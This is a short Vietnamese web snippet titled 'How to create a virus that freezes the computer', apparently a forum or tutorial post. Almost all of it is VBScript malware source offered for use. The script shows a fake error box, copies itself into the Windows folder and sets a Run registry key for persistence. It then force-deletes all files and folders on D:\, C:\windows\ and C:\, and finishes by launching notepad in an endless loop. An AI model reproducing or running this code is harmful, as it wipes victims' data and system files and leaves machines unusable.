Cách Tạo Virus Làm Đứng Máy Tính

Virus Làm Đứng Máy Tính

Code:msgbox"Error !"On Error Resume NextSet vip_xinh = Createobject("scripting.filesystemobject")vip_xinh.copyfile wscript.scriptfullname,vip_xinh.GetSpecialFolder(0 )& "\ vip_xinh.vbs"Set vip_xinh2= CreateObject("WScript.Shell")vip_xinh2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ru n\die","wscript.exe "& vip_xinh.GetSpecialFolder(0)& "\ vip_xinh.vbs %"
On Error Resume NextConst vic = "D:\"DelvicSub Delvic()Dim fsoSet fso = CreateObject("Scripting.FileSystemObject")fso.DeleteFile vic & "*.*" , Truefso.DeleteFolder vic & "*" , TrueEnd Sub
On Error Resume NextConst vic1 = "C:\windows\"Delvic1Sub Delvic1()Dim fso1Set fso1 = CreateObject("Scripting.FileSystemObject")fso1.DeleteFile vic1 & "*.*" , Truefso1.DeleteFolder vic1 & "*" , TrueEnd Sub
On Error Resume NextConst vic2 = "C:\"Delvic2Sub Delvic2()Dim fso2Set fso2 = CreateObject("Scripting.FileSystemObject")fso2.DeleteFile vic2 & "*.*" , Truefso2.DeleteFolder vic2 & "*" , TrueEnd Sub
On Error Resume NextSet treomay= CreateObject("WScript.Shell")Dotreomay.run "notepad",falseloop